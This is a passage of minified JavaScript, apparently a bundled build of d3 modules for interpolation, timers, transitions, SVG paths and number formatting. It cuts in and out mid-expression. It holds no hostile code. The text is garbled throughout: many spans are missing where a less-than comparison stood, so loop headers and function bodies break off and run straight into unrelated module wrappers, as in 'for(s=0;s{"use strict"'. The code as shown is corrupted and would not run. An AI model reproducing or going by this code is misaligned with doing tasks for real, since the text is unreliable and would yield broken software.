r?$q(t,r):F0(isNaN(t)?e:t)}var s_=N(()=>{"use strict";a_();o($q,"linear");o(ZEe,"exponential");o(zq,"hue");o(Gq,"gamma");o(xu,"nogamma")});function Vq(t){return function(e){var r=e.length,n=new Array(r),i=new Array(r),a=new Array(r),s,l;for(s=0;s{"use strict";B0();n_();Fq();s_();Ed=o((function t(e){var r=Gq(e);function n(i,a){var s=r((i=O0(i)).r,(a=O0(a)).r),l=r(i.g,a.g),u=r(i.b,a.b),h=xu(i.opacity,a.opacity);return function(f){return i.r=s(f),i.g=l(f),i.b=u(f),i.opacity=h(f),i+""}}return o(n,"rgb"),n.gamma=t,n}),"rgbGamma")(1);o(Vq,"rgbSpline");JEe=Vq(r_),eSe=Vq(i_)});function l_(t,e){e||(e=[]);var r=t?Math.min(e.length,t.length):0,n=e.slice(),i;return function(a){for(i=0;i{"use strict";o(l_,"default");o(Uq,"isNumberArray")});function qq(t,e){var r=e?e.length:0,n=t?Math.min(r,t.length):0,i=new Array(n),a=new Array(r),s;for(s=0;s{"use strict";o5();o(qq,"genericArray")});function c_(t,e){var r=new Date;return t=+t,e=+e,function(n){return r.setTime(t*(1-n)+e*n),r}}var Yq=N(()=>{"use strict";o(c_,"default")});function Wi(t,e){return t=+t,e=+e,function(r){return t*(1-r)+e*r}}var yv=N(()=>{"use strict";o(Wi,"default")});function u_(t,e){var r={},n={},i;(t===null||typeof t!="object")&&(t={}),(e===null||typeof e!="object")&&(e={});for(i in e)i in t?r[i]=Rh(t[i],e[i]):n[i]=e[i];return function(a){for(i in r)n[i]=r[i](a);return n}}var Xq=N(()=>{"use strict";o5();o(u_,"default")});function tSe(t){return function(){return t}}function rSe(t){return function(e){return t(e)+""}}function $0(t,e){var r=f_.lastIndex=h_.lastIndex=0,n,i,a,s=-1,l=[],u=[];for(t=t+"",e=e+"";(n=f_.exec(t))&&(i=h_.exec(e));)(a=i.index)>r&&(a=e.slice(r,a),l[s]?l[s]+=a:l[++s]=a),(n=n[0])===(i=i[0])?l[s]?l[s]+=i:l[++s]=i:(l[++s]=null,u.push({i:s,x:Wi(n,i)})),r=h_.lastIndex;return r{"use strict";yv();f_=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,h_=new RegExp(f_.source,"g");o(tSe,"zero");o(rSe,"one");o($0,"default")});function Rh(t,e){var r=typeof e,n;return e==null||r==="boolean"?F0(e):(r==="number"?Wi:r==="string"?(n=xl(e))?(e=n,Ed):$0:e instanceof xl?Ed:e instanceof Date?c_:Uq(e)?l_:Array.isArray(e)?qq:typeof e.valueOf!="function"&&typeof e.toString!="function"||isNaN(e)?u_:Wi)(t,e)}var o5=N(()=>{"use strict";B0();o_();Wq();Yq();yv();Xq();d_();a_();Hq();o(Rh,"default")});function l5(t,e){return t=+t,e=+e,function(r){return Math.round(t*(1-r)+e*r)}}var jq=N(()=>{"use strict";o(l5,"default")});function u5(t,e,r,n,i,a){var s,l,u;return(s=Math.sqrt(t*t+e*e))&&(t/=s,e/=s),(u=t*r+e*n)&&(r-=t*u,n-=e*u),(l=Math.sqrt(r*r+n*n))&&(r/=l,n/=l,u/=l),t*n{"use strict";Kq=180/Math.PI,c5={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};o(u5,"default")});function Zq(t){let e=new(typeof DOMMatrix=="function"?DOMMatrix:WebKitCSSMatrix)(t+"");return e.isIdentity?c5:u5(e.a,e.b,e.c,e.d,e.e,e.f)}function Jq(t){return t==null?c5:(h5||(h5=document.createElementNS("http://www.w3.org/2000/svg","g")),h5.setAttribute("transform",t),(t=h5.transform.baseVal.consolidate())?(t=t.matrix,u5(t.a,t.b,t.c,t.d,t.e,t.f)):c5)}var h5,eW=N(()=>{"use strict";Qq();o(Zq,"parseCss");o(Jq,"parseSvg")});function tW(t,e,r,n){function i(h){return h.length?h.pop()+" ":""}o(i,"pop");function a(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push("translate(",null,e,null,r);g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d||p)&&m.push("translate("+d+e+p+r)}o(a,"translate");function s(h,f,d,p){h!==f?(h-f>180?f+=360:f-h>180&&(h+=360),p.push({i:d.push(i(d)+"rotate(",null,n)-2,x:Wi(h,f)})):f&&d.push(i(d)+"rotate("+f+n)}o(s,"rotate");function l(h,f,d,p){h!==f?p.push({i:d.push(i(d)+"skewX(",null,n)-2,x:Wi(h,f)}):f&&d.push(i(d)+"skewX("+f+n)}o(l,"skewX");function u(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push(i(m)+"scale(",null,",",null,")");g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d!==1||p!==1)&&m.push(i(m)+"scale("+d+","+p+")")}return o(u,"scale"),function(h,f){var d=[],p=[];return h=t(h),f=t(f),a(h.translateX,h.translateY,f.translateX,f.translateY,d,p),s(h.rotate,f.rotate,d,p),l(h.skewX,f.skewX,d,p),u(h.scaleX,h.scaleY,f.scaleX,f.scaleY,d,p),h=f=null,function(m){for(var g=-1,y=p.length,v;++g{"use strict";yv();eW();o(tW,"interpolateTransform");p_=tW(Zq,"px, ","px)","deg)"),m_=tW(Jq,", ",")",")")});function nW(t){return function(e,r){var n=t((e=gv(e)).h,(r=gv(r)).h),i=xu(e.c,r.c),a=xu(e.l,r.l),s=xu(e.opacity,r.opacity);return function(l){return e.h=n(l),e.c=i(l),e.l=a(l),e.opacity=s(l),e+""}}}var g_,nSe,iW=N(()=>{"use strict";B0();s_();o(nW,"hcl");g_=nW(zq),nSe=nW(xu)});var z0=N(()=>{"use strict";o5();yv();jq();d_();rW();o_();iW()});function kv(){return Sd||(oW(iSe),Sd=Tv.now()+p5)}function iSe(){Sd=0}function wv(){this._call=this._time=this._next=null}function m5(t,e,r){var n=new wv;return n.restart(t,e,r),n}function lW(){kv(),++G0;for(var t=f5,e;t;)(e=Sd-t._time)>=0&&t._call.call(void 0,e),t=t._next;--G0}function aW(){Sd=(d5=Tv.now())+p5,G0=xv=0;try{lW()}finally{G0=0,sSe(),Sd=0}}function aSe(){var t=Tv.now(),e=t-d5;e>sW&&(p5-=e,d5=t)}function sSe(){for(var t,e=f5,r,n=1/0;e;)e._call?(n>e._time&&(n=e._time),t=e,e=e._next):(r=e._next,e._next=null,e=t?t._next=r:f5=r);bv=t,y_(n)}function y_(t){if(!G0){xv&&(xv=clearTimeout(xv));var e=t-Sd;e>24?(t<1/0&&(xv=setTimeout(aW,t-Tv.now()-p5)),vv&&(vv=clearInterval(vv))):(vv||(d5=Tv.now(),vv=setInterval(aSe,sW)),G0=1,oW(aW))}}var G0,xv,vv,sW,f5,bv,d5,Sd,p5,Tv,oW,v_=N(()=>{"use strict";G0=0,xv=0,vv=0,sW=1e3,d5=0,Sd=0,p5=0,Tv=typeof performance=="object"&&performance.now?performance:Date,oW=typeof window=="object"&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(t){setTimeout(t,17)};o(kv,"now");o(iSe,"clearNow");o(wv,"Timer");wv.prototype=m5.prototype={constructor:wv,restart:o(function(t,e,r){if(typeof t!="function")throw new TypeError("callback is not a function");r=(r==null?kv():+r)+(e==null?0:+e),!this._next&&bv!==this&&(bv?bv._next=this:f5=this,bv=this),this._call=t,this._time=r,y_()},"restart"),stop:o(function(){this._call&&(this._call=null,this._time=1/0,y_())},"stop")};o(m5,"timer");o(lW,"timerFlush");o(aW,"wake");o(aSe,"poke");o(sSe,"nap");o(y_,"sleep")});function Ev(t,e,r){var n=new wv;return e=e==null?0:+e,n.restart(i=>{n.stop(),t(i+e)},e,r),n}var cW=N(()=>{"use strict";v_();o(Ev,"default")});var g5=N(()=>{"use strict";v_();cW()});function bu(t,e,r,n,i,a){var s=t.__transition;if(!s)t.__transition={};else if(r in s)return;cSe(t,r,{name:e,index:n,group:i,on:oSe,tween:lSe,time:a.time,delay:a.delay,duration:a.duration,ease:a.ease,timer:null,state:fW})}function Cv(t,e){var r=Oi(t,e);if(r.state>fW)throw new Error("too late; already scheduled");return r}function la(t,e){var r=Oi(t,e);if(r.state>y5)throw new Error("too late; already running");return r}function Oi(t,e){var r=t.__transition;if(!r||!(r=r[e]))throw new Error("transition not found");return r}function cSe(t,e,r){var n=t.__transition,i;n[e]=r,r.timer=m5(a,0,r.time);function a(h){r.state=uW,r.timer.restart(s,r.delay,r.time),r.delay<=h&&s(h-r.delay)}o(a,"schedule");function s(h){var f,d,p,m;if(r.state!==uW)return u();for(f in n)if(m=n[f],m.name===r.name){if(m.state===y5)return Ev(s);m.state===hW?(m.state=Sv,m.timer.stop(),m.on.call("interrupt",t,t.__data__,m.index,m.group),delete n[f]):+f{"use strict";JA();g5();oSe=ZA("start","end","cancel","interrupt"),lSe=[],fW=0,uW=1,v5=2,y5=3,hW=4,x5=5,Sv=6;o(bu,"default");o(Cv,"init");o(la,"set");o(Oi,"get");o(cSe,"create")});function Av(t,e){var r=t.__transition,n,i,a=!0,s;if(r){e=e==null?null:e+"";for(s in r){if((n=r[s]).name!==e){a=!1;continue}i=n.state>v5&&n.state{"use strict";Ds();o(Av,"default")});function x_(t){return this.each(function(){Av(this,t)})}var pW=N(()=>{"use strict";dW();o(x_,"default")});function uSe(t,e){var r,n;return function(){var i=la(this,t),a=i.tween;if(a!==r){n=r=a;for(var s=0,l=n.length;s{"use strict";Ds();o(uSe,"tweenRemove");o(hSe,"tweenFunction");o(b_,"default");o(V0,"tweenValue")});function Dv(t,e){var r;return(typeof e=="number"?Wi:e instanceof xl?Ed:(r=xl(e))?(e=r,Ed):$0)(t,e)}var T_=N(()=>{"use strict";B0();z0();o(Dv,"default")});function fSe(t){return function(){this.removeAttribute(t)}}function dSe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function pSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttribute(t);return s===i?null:s===n?a:a=e(n=s,r)}}function mSe(t,e,r){var n,i=r+"",a;return function(){var s=this.getAttributeNS(t.space,t.local);return s===i?null:s===n?a:a=e(n=s,r)}}function gSe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttribute(t):(s=this.getAttribute(t),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function ySe(t,e,r){var n,i,a;return function(){var s,l=r(this),u;return l==null?void this.removeAttributeNS(t.space,t.local):(s=this.getAttributeNS(t.space,t.local),u=l+"",s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l)))}}function w_(t,e){var r=sc(t),n=r==="transform"?m_:Dv;return this.attrTween(t,typeof e=="function"?(r.local?ySe:gSe)(r,n,V0(this,"attr."+t,e)):e==null?(r.local?dSe:fSe)(r):(r.local?mSe:pSe)(r,n,e))}var mW=N(()=>{"use strict";z0();yl();_v();T_();o(fSe,"attrRemove");o(dSe,"attrRemoveNS");o(pSe,"attrConstant");o(mSe,"attrConstantNS");o(gSe,"attrFunction");o(ySe,"attrFunctionNS");o(w_,"default")});function vSe(t,e){return function(r){this.setAttribute(t,e.call(this,r))}}function xSe(t,e){return function(r){this.setAttributeNS(t.space,t.local,e.call(this,r))}}function bSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&xSe(t,a)),r}return o(i,"tween"),i._value=e,i}function TSe(t,e){var r,n;function i(){var a=e.apply(this,arguments);return a!==n&&(r=(n=a)&&vSe(t,a)),r}return o(i,"tween"),i._value=e,i}function k_(t,e){var r="attr."+t;if(arguments.length<2)return(r=this.tween(r))&&r._value;if(e==null)return this.tween(r,null);if(typeof e!="function")throw new Error;var n=sc(t);return this.tween(r,(n.local?bSe:TSe)(n,e))}var gW=N(()=>{"use strict";yl();o(vSe,"attrInterpolate");o(xSe,"attrInterpolateNS");o(bSe,"attrTweenNS");o(TSe,"attrTween");o(k_,"default")});function wSe(t,e){return function(){Cv(this,t).delay=+e.apply(this,arguments)}}function kSe(t,e){return e=+e,function(){Cv(this,t).delay=e}}function E_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?wSe:kSe)(e,t)):Oi(this.node(),e).delay}var yW=N(()=>{"use strict";Ds();o(wSe,"delayFunction");o(kSe,"delayConstant");o(E_,"default")});function ESe(t,e){return function(){la(this,t).duration=+e.apply(this,arguments)}}function SSe(t,e){return e=+e,function(){la(this,t).duration=e}}function S_(t){var e=this._id;return arguments.length?this.each((typeof t=="function"?ESe:SSe)(e,t)):Oi(this.node(),e).duration}var vW=N(()=>{"use strict";Ds();o(ESe,"durationFunction");o(SSe,"durationConstant");o(S_,"default")});function CSe(t,e){if(typeof e!="function")throw new Error;return function(){la(this,t).ease=e}}function C_(t){var e=this._id;return arguments.length?this.each(CSe(e,t)):Oi(this.node(),e).ease}var xW=N(()=>{"use strict";Ds();o(CSe,"easeConstant");o(C_,"default")});function ASe(t,e){return function(){var r=e.apply(this,arguments);if(typeof r!="function")throw new Error;la(this,t).ease=r}}function A_(t){if(typeof t!="function")throw new Error;return this.each(ASe(this._id,t))}var bW=N(()=>{"use strict";Ds();o(ASe,"easeVarying");o(A_,"default")});function __(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";yl();Cd();o(__,"default")});function D_(t){if(t._id!==this._id)throw new Error;for(var e=this._groups,r=t._groups,n=e.length,i=r.length,a=Math.min(n,i),s=new Array(n),l=0;l{"use strict";Cd();o(D_,"default")});function _Se(t){return(t+"").trim().split(/^|\s+/).every(function(e){var r=e.indexOf(".");return r>=0&&(e=e.slice(0,r)),!e||e==="start"})}function DSe(t,e,r){var n,i,a=_Se(e)?Cv:la;return function(){var s=a(this,t),l=s.on;l!==n&&(i=(n=l).copy()).on(e,r),s.on=i}}function L_(t,e){var r=this._id;return arguments.length<2?Oi(this.node(),r).on.on(t):this.each(DSe(r,t,e))}var kW=N(()=>{"use strict";Ds();o(_Se,"start");o(DSe,"onFunction");o(L_,"default")});function LSe(t){return function(){var e=this.parentNode;for(var r in this.__transition)if(+r!==t)return;e&&e.removeChild(this)}}function R_(){return this.on("end.remove",LSe(this._id))}var EW=N(()=>{"use strict";o(LSe,"removeFunction");o(R_,"default")});function N_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=Ah(t));for(var n=this._groups,i=n.length,a=new Array(i),s=0;s{"use strict";yl();Cd();Ds();o(N_,"default")});function M_(t){var e=this._name,r=this._id;typeof t!="function"&&(t=R0(t));for(var n=this._groups,i=n.length,a=[],s=[],l=0;l{"use strict";yl();Cd();Ds();o(M_,"default")});function I_(){return new RSe(this._groups,this._parents)}var RSe,AW=N(()=>{"use strict";yl();RSe=yu.prototype.constructor;o(I_,"default")});function NSe(t,e){var r,n,i;return function(){var a=_h(this,t),s=(this.style.removeProperty(t),_h(this,t));return a===s?null:a===r&&s===n?i:i=e(r=a,n=s)}}function _W(t){return function(){this.style.removeProperty(t)}}function MSe(t,e,r){var n,i=r+"",a;return function(){var s=_h(this,t);return s===i?null:s===n?a:a=e(n=s,r)}}function ISe(t,e,r){var n,i,a;return function(){var s=_h(this,t),l=r(this),u=l+"";return l==null&&(u=l=(this.style.removeProperty(t),_h(this,t))),s===u?null:s===n&&u===i?a:(i=u,a=e(n=s,l))}}function OSe(t,e){var r,n,i,a="style."+e,s="end."+a,l;return function(){var u=la(this,t),h=u.on,f=u.value[a]==null?l||(l=_W(e)):void 0;(h!==r||i!==f)&&(n=(r=h).copy()).on(s,i=f),u.on=n}}function O_(t,e,r){var n=(t+="")=="transform"?p_:Dv;return e==null?this.styleTween(t,NSe(t,n)).on("end.style."+t,_W(t)):typeof e=="function"?this.styleTween(t,ISe(t,n,V0(this,"style."+t,e))).each(OSe(this._id,t)):this.styleTween(t,MSe(t,n,e),r).on("end.style."+t,null)}var DW=N(()=>{"use strict";z0();yl();Ds();_v();T_();o(NSe,"styleNull");o(_W,"styleRemove");o(MSe,"styleConstant");o(ISe,"styleFunction");o(OSe,"styleMaybeRemove");o(O_,"default")});function PSe(t,e,r){return function(n){this.style.setProperty(t,e.call(this,n),r)}}function BSe(t,e,r){var n,i;function a(){var s=e.apply(this,arguments);return s!==i&&(n=(i=s)&&PSe(t,s,r)),n}return o(a,"tween"),a._value=e,a}function P_(t,e,r){var n="style."+(t+="");if(arguments.length<2)return(n=this.tween(n))&&n._value;if(e==null)return this.tween(n,null);if(typeof e!="function")throw new Error;return this.tween(n,BSe(t,e,r??""))}var LW=N(()=>{"use strict";o(PSe,"styleInterpolate");o(BSe,"styleTween");o(P_,"default")});function FSe(t){return function(){this.textContent=t}}function $Se(t){return function(){var e=t(this);this.textContent=e??""}}function B_(t){return this.tween("text",typeof t=="function"?$Se(V0(this,"text",t)):FSe(t==null?"":t+""))}var RW=N(()=>{"use strict";_v();o(FSe,"textConstant");o($Se,"textFunction");o(B_,"default")});function zSe(t){return function(e){this.textContent=t.call(this,e)}}function GSe(t){var e,r;function n(){var i=t.apply(this,arguments);return i!==r&&(e=(r=i)&&zSe(i)),e}return o(n,"tween"),n._value=t,n}function F_(t){var e="text";if(arguments.length<1)return(e=this.tween(e))&&e._value;if(t==null)return this.tween(e,null);if(typeof t!="function")throw new Error;return this.tween(e,GSe(t))}var NW=N(()=>{"use strict";o(zSe,"textInterpolate");o(GSe,"textTween");o(F_,"default")});function $_(){for(var t=this._name,e=this._id,r=b5(),n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();o($_,"default")});function z_(){var t,e,r=this,n=r._id,i=r.size();return new Promise(function(a,s){var l={value:s},u={value:o(function(){--i===0&&a()},"value")};r.each(function(){var h=la(this,n),f=h.on;f!==t&&(e=(t=f).copy(),e._.cancel.push(l),e._.interrupt.push(l),e._.end.push(u)),h.on=e}),i===0&&a()})}var IW=N(()=>{"use strict";Ds();o(z_,"default")});function is(t,e,r,n){this._groups=t,this._parents=e,this._name=r,this._id=n}function OW(t){return yu().transition(t)}function b5(){return++VSe}var VSe,Tu,Cd=N(()=>{"use strict";yl();mW();gW();yW();vW();xW();bW();TW();wW();kW();EW();SW();CW();AW();DW();LW();RW();NW();MW();_v();IW();VSe=0;o(is,"Transition");o(OW,"transition");o(b5,"newId");Tu=yu.prototype;is.prototype=OW.prototype={constructor:is,select:N_,selectAll:M_,selectChild:Tu.selectChild,selectChildren:Tu.selectChildren,filter:__,merge:D_,selection:I_,transition:$_,call:Tu.call,nodes:Tu.nodes,node:Tu.node,size:Tu.size,empty:Tu.empty,each:Tu.each,on:L_,attr:w_,attrTween:k_,style:O_,styleTween:P_,text:B_,textTween:F_,remove:R_,tween:b_,delay:E_,duration:S_,ease:C_,easeVarying:A_,end:z_,[Symbol.iterator]:Tu[Symbol.iterator]}});function T5(t){return((t*=2)<=1?t*t*t:(t-=2)*t*t+2)/2}var PW=N(()=>{"use strict";o(T5,"cubicInOut")});var G_=N(()=>{"use strict";PW()});function HSe(t,e){for(var r;!(r=t.__transition)||!(r=r[e]);)if(!(t=t.parentNode))throw new Error(`transition ${e} not found`);return r}function V_(t){var e,r;t instanceof is?(e=t._id,t=t._name):(e=b5(),(r=USe).time=kv(),t=t==null?null:t+"");for(var n=this._groups,i=n.length,a=0;a{"use strict";Cd();Ds();G_();g5();USe={time:null,delay:0,duration:250,ease:T5};o(HSe,"inherit");o(V_,"default")});var FW=N(()=>{"use strict";yl();pW();BW();yu.prototype.interrupt=x_;yu.prototype.transition=V_});var w5=N(()=>{"use strict";FW()});var $W=N(()=>{"use strict"});var zW=N(()=>{"use strict"});var GW=N(()=>{"use strict"});function VW(t){return[+t[0],+t[1]]}function qSe(t){return[VW(t[0]),VW(t[1])]}function U_(t){return{type:t}}var c1t,u1t,h1t,f1t,d1t,p1t,UW=N(()=>{"use strict";w5();$W();zW();GW();({abs:c1t,max:u1t,min:h1t}=Math);o(VW,"number1");o(qSe,"number2");f1t={name:"x",handles:["w","e"].map(U_),input:o(function(t,e){return t==null?null:[[+t[0],e[0][1]],[+t[1],e[1][1]]]},"input"),output:o(function(t){return t&&[t[0][0],t[1][0]]},"output")},d1t={name:"y",handles:["n","s"].map(U_),input:o(function(t,e){return t==null?null:[[e[0][0],+t[0]],[e[1][0],+t[1]]]},"input"),output:o(function(t){return t&&[t[0][1],t[1][1]]},"output")},p1t={name:"xy",handles:["n","w","e","s","nw","ne","sw","se"].map(U_),input:o(function(t){return t==null?null:qSe(t)},"input"),output:o(function(t){return t},"output")};o(U_,"type")});var HW=N(()=>{"use strict";UW()});function qW(t){this._+=t[0];for(let e=1,r=t.length;e=0))throw new Error(`invalid digits: ${t}`);if(e>15)return qW;let r=10**e;return function(n){this._+=n[0];for(let i=1,a=n.length;i{"use strict";H_=Math.PI,q_=2*H_,Ad=1e-6,WSe=q_-Ad;o(qW,"append");o(YSe,"appendRound");_d=class{static{o(this,"Path")}constructor(e){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=e==null?qW:YSe(e)}moveTo(e,r){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}`}closePath(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(e,r){this._append`L${this._x1=+e},${this._y1=+r}`}quadraticCurveTo(e,r,n,i){this._append`Q${+e},${+r},${this._x1=+n},${this._y1=+i}`}bezierCurveTo(e,r,n,i,a,s){this._append`C${+e},${+r},${+n},${+i},${this._x1=+a},${this._y1=+s}`}arcTo(e,r,n,i,a){if(e=+e,r=+r,n=+n,i=+i,a=+a,a<0)throw new Error(`negative radius: ${a}`);let s=this._x1,l=this._y1,u=n-e,h=i-r,f=s-e,d=l-r,p=f*f+d*d;if(this._x1===null)this._append`M${this._x1=e},${this._y1=r}`;else if(p>Ad)if(!(Math.abs(d*u-h*f)>Ad)||!a)this._append`L${this._x1=e},${this._y1=r}`;else{let m=n-s,g=i-l,y=u*u+h*h,v=m*m+g*g,x=Math.sqrt(y),b=Math.sqrt(p),T=a*Math.tan((H_-Math.acos((y+p-v)/(2*x*b)))/2),S=T/b,w=T/x;Math.abs(S-1)>Ad&&this._append`L${e+S*f},${r+S*d}`,this._append`A${a},${a},0,0,${+(d*m>f*g)},${this._x1=e+w*u},${this._y1=r+w*h}`}}arc(e,r,n,i,a,s){if(e=+e,r=+r,n=+n,s=!!s,n<0)throw new Error(`negative radius: ${n}`);let l=n*Math.cos(i),u=n*Math.sin(i),h=e+l,f=r+u,d=1^s,p=s?i-a:a-i;this._x1===null?this._append`M${h},${f}`:(Math.abs(this._x1-h)>Ad||Math.abs(this._y1-f)>Ad)&&this._append`L${h},${f}`,n&&(p<0&&(p=p%q_+q_),p>WSe?this._append`A${n},${n},0,1,${d},${e-l},${r-u}A${n},${n},0,1,${d},${this._x1=h},${this._y1=f}`:p>Ad&&this._append`A${n},${n},0,${+(p>=H_)},${d},${this._x1=e+n*Math.cos(a)},${this._y1=r+n*Math.sin(a)}`)}rect(e,r,n,i){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}h${n=+n}v${+i}h${-n}Z`}toString(){return this._}};o(WW,"path");WW.prototype=_d.prototype});var W_=N(()=>{"use strict";YW()});var XW=N(()=>{"use strict"});var jW=N(()=>{"use strict"});var KW=N(()=>{"use strict"});var QW=N(()=>{"use strict"});var ZW=N(()=>{"use strict"});var JW=N(()=>{"use strict"});var eY=N(()=>{"use strict"});function Y_(t){return Math.abs(t=Math.round(t))>=1e21?t.toLocaleString("en").replace(/,/g,""):t.toString(10)}function Dd(t,e){if((r=(t=e?t.toExponential(e-1):t.toExponential()).indexOf("e"))<0)return null;var r,n=t.slice(0,r);return[n.length>1?n[0]+n.slice(2):n,+t.slice(r+1)]}var Lv=N(()=>{"use strict";o(Y_,"default");o(Dd,"formatDecimalParts")});function bl(t){return t=Dd(Math.abs(t)),t?t[1]:NaN}var Rv=N(()=>{"use strict";Lv();o(bl,"default")});function X_(t,e){return function(r,n){for(var i=r.length,a=[],s=0,l=t[0],u=0;i>0&&l>0&&(u+l+1>n&&(l=Math.max(1,n-u)),a.push(r.substring(i-=l,i+l)),!((u+=l+1)>n));)l=t[s=(s+1)%t.length];return a.reverse().join(e)}}var tY=N(()=>{"use strict";o(X_,"default")});function j_(t){return function(e){return e.replace(/[0-9]/g,function(r){return t[+r]})}}var rY=N(()=>{"use strict";o(j_,"default")});function Nh(t){if(!(e=XSe.exec(t)))throw new Error("invalid format: "+t);var e;return new k5({fill:e[1],align:e[2],sign:e[3],symbol:e[4],zero:e[5],width:e[6],comma:e[7],precision:e[8]&&e[8].slice(1),trim:e[9],type:e[10]})}function k5(t){this.fill=t.fill===void 0?" ":t.fill+"",this.align=t.align===void 0?">":t.align+"",this.sign=t.sign===void 0?"-":t.sign+"",this.symbol=t.symbol===void 0?"":t.symbol+"",this.zero=!!t.zero,this.width=t.width===void 0?void 0:+t.width,this.comma=!!t.comma,this.precision=t.precision===void 0?void 0:+t.precision,this.trim=!!t.trim,this.type=t.type===void 0?"":t.type+""}var XSe,K_=N(()=>{"use strict";XSe=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;o(Nh,"formatSpecifier");Nh.prototype=k5.prototype;o(k5,"FormatSpecifier");k5.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type}});function Q_(t){e:for(var e=t.length,r=1,n=-1,i;r0&&(n=0);break}return n>0?t.slice(0,n)+t.slice(i+1):t}var nY=N(()=>{"use strict";o(Q_,"default")});function J_(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1],a=i-(Z_=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,s=n.length;return a===s?n:a>s?n+new Array(a-s+1).join("0"):a>0?n.slice(0,a)+"."+n.slice(a):"0."+new Array(1-a).join("0")+Dd(t,Math.max(0,e+a-1))[0]}var Z_,eD=N(()=>{"use strict";Lv();o(J_,"default")});function E5(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1];return i<0?"0."+new Array(-i).join("0")+n:n.length>i+1?n.slice(0,i+1)+"."+n.slice(i+1):n+new Array(i-n.length+2).join("0")}var iY=N(()=>{"use strict";Lv();o(E5,"default")});var tD,aY=N(()=>{"use strict";Lv();eD();iY();tD={"%":o((t,e)=>(t*100).toFixed(e),"%"),b:o(t=>Math.round(t).toString(2),"b"),c:o(t=>t+"","c"),d:Y_,e:o((t,e)=>t.toExponential(e),"e"),f:o((t,e)=>t.toFixed(e),"f"),g:o((t,e)=>t.toPrecision(e),"g"),o:o(t=>Math.round(t).toString(8),"o"),p:o((t,e)=>E5(t*100,e),"p"),r:E5,s:J_,X:o(t=>Math.round(t).toString(16).toUpperCase(),"X"),x:o(t=>Math.round(t).toString(16),"x")}});function S5(t){return t}var sY=N(()=>{"use strict";o(S5,"default")});function rD(t){var e=t.grouping===void 0||t.thousands===void 0?S5:X_(oY.call(t.grouping,Number),t.thousands+""),r=t.currency===void 0?"":t.currency[0]+"",n=t.currency===void 0?"":t.currency[1]+"",i=t.decimal===void 0?".":t.decimal+"",a=t.numerals===void 0?S5:j_(oY.call(t.numerals,String)),s=t.percent===void 0?"%":t.percent+"",l=t.minus===void 0?"\u2212":t.minus+"",u=t.nan===void 0?"NaN":t.nan+"";function h(d){d=Nh(d);var p=d.fill,m=d.align,g=d.sign,y=d.symbol,v=d.zero,x=d.width,b=d.comma,T=d.precision,S=d.trim,w=d.type;w==="n"?(b=!0,w="g"):tD[w]||(T===void 0&&(T=12),S=!0,w="g"),(v||p==="0"&&m==="=")&&(v=!0,p="0",m="=");var k=y==="$"?r:y==="#"&&/[boxX]/.test(w)?"0"+w.toLowerCase():"",A=y==="$"?n:/[%p]/.test(w)?s:"",C=tD[w],R=/[defgprs%]/.test(w);T=T===void 0?6:/[gprs]/.test(w)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function I(L){var E=k,D=A,_,O,M;if(w==="c")D=C(L)+D,L="";else{L=+L;var P=L<0||1/L<0;if(L=isNaN(L)?u:C(Math.abs(L),T),S&&(L=Q_(L)),P&&+L==0&&g!=="+"&&(P=!1),E=(P?g==="("?g:l:g==="-"||g==="("?"":g)+E,D=(w==="s"?lY[8+Z_/3]:"")+D+(P&&g==="("?")":""),R){for(_=-1,O=L.length;++_M||M>57){D=(M===46?i+L.slice(_+1):L.slice(_))+D,L=L.slice(0,_);break}}}b&&!v&&(L=e(L,1/0));var B=E.length+L.length+D.length,F=B>1)+E+L+D+F.slice(B);break;default:L=F+E+L+D;break}return a(L)}return o(I,"format"),I.toString=function(){return d+""},I}o(h,"newFormat");function f(d,p){var m=h((d=Nh(d),d.type="f",d)),g=Math.max(-8,Math.min(8,Math.floor(bl(p)/3)))*3,y=Math.pow(10,-g),v=lY[8+g/3];return function(x){return m(y*x)+v}}return o(f,"formatPrefix"),{format:h,formatPrefix:f}}var oY,lY,cY=N(()=>{"use strict";Rv();tY();rY();K_();nY();aY();eD();sY();oY=Array.prototype.map,lY=["y","z","a","f","p","n","\xB5","m","","k","M","G","T","P","E","Z","Y"];o(rD,"default")});function nD(t){return C5=rD(t),cc=C5.format,A5=C5.formatPrefix,C5}var C5,cc,A5,uY=N(()=>{"use strict";cY();nD({thousands:",",grouping:[3],currency:["$",""]});o(nD,"defaultLocale")});function _5(t){return Math.max(0,-bl(Math.abs(t)))}var hY=N(()=>{"use strict";Rv();o(_5,"default")});function D5(t,e){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(bl(e)/3)))*3-bl(Math.abs(t)))}var fY=N(()=>{"use strict";Rv();o(D5,"default")});function L5(t,e){return 